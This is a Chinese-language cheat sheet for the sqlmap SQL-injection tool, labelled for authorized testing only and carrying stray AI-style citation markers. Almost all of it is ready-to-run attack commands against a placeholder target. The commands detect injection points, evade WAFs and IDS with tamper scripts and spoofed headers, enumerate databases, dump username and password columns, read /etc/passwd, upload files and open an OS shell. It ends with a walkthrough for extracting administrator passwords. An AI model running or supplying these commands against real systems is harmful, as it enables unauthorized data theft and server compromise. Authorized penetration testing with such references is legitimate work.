注意事项:仅用于授权测试,避免非法使用。
目录
一、基础命令
二、数据库信息获取
三、绕过 WAF/IDS
四、文件系统与系统命令
五、高级功能与优化
六、实战示例
一、基础命令
-
检测注入点
sqlmap -u "http://target.com/index.php?id=1" --batch # 自动检测注入点[2,4](@ref)
--batch
:自动选择默认选项,无需交互。--cookie="PHPSESSID=xxx"
:处理 Cookie 注入。
-
指定请求类型
sqlmap -u "http://target.com/login.php" --data="username=admin&password=123" # POST 请求注入[2,5](@ref)
--method=POST
:强制指定请求方式。--random-agent
:随机 User-Agent 绕过检测。
-
代理与伪装
sqlmap -u "http://target.com" --proxy="http://127.0.0.1:8080" # 使用代理隐藏 IP[3,5](@ref)
--referer="http://baidu.com"
:伪造 Referer 头
二、数据库信息获取
-
枚举数据库
sqlmap -u "http://target.com" --dbs # 列出所有数据库[2,4](@ref) sqlmap -u "http://target.com" --current-db # 获取当前数据库名[2,4](@ref)
-
表与字段操作
sqlmap -u "http://target.com" -D database_name --tables # 列出指定数据库的表[2,4](@ref) sqlmap -u "http://target.com" -D database_name -T users --columns # 查看表结构[2,4](@ref)
-
数据提取
sqlmap -u "http://target.com" -D database_name -T users -C username,password --dump # 导出指定字段数据[2,4](@ref)
三、绕过 WAF/IDS
-
TAMPER 脚本绕过
sqlmap -u "http://target.com" --tamper="space2comment,base64encode" # 变形 SQL 语句[1,3,5](@ref)
- 常用脚本:
space2comment
(空格转注释)、apostrophemask
(引号编码)。
- 常用脚本:
-
其他绕过参数
sqlmap -u "http://target.com" --level=3 --risk=3 # 提高测试深度与风险等级[4,5](@ref)
四、文件系统与系统命令
-
文件读写
sqlmap -u "http://target.com" --file-read="/etc/passwd" # 读取服务器文件(需高权限)[3,4](@ref) sqlmap -u "http://target.com" --file-write="local.txt" --file-dest="/remote/path" # 上传文件[4,5](@ref)
-
获取系统权限
sqlmap -u "http://target.com" --os-shell # 尝试获取系统 Shell(需 FILE 权限)[2,4](@ref) sqlmap -u "http://target.com" --os-cmd "whoami" # 执行系统命令[2,4](@ref)
五、高级功能与优化
-
性能优化
sqlmap -u "http://target.com" --threads=5 --delay=2 # 设置线程数及延迟[3,5](@ref) sqlmap -u "http://target.com" -o # 开启默认性能优化[1,3](@ref)
-
自定义检测与输出
sqlmap -u "http://target.com" -v 6 # 显示完整 HTTP 响应内容[5](@ref) sqlmap -r request.txt # 从文件加载 HTTP 请求[3,4](@ref)
六、实战示例
目标:从注入到获取数据
- 检测注入点
sqlmap -u "http://target.com?id=1" --batch
- 提取数据库名
sqlmap -u "http://target.com?id=1" --dbs
- 导出管理员密码
sqlmap -u "http://target.com?id=1" -D target_db -T users --dump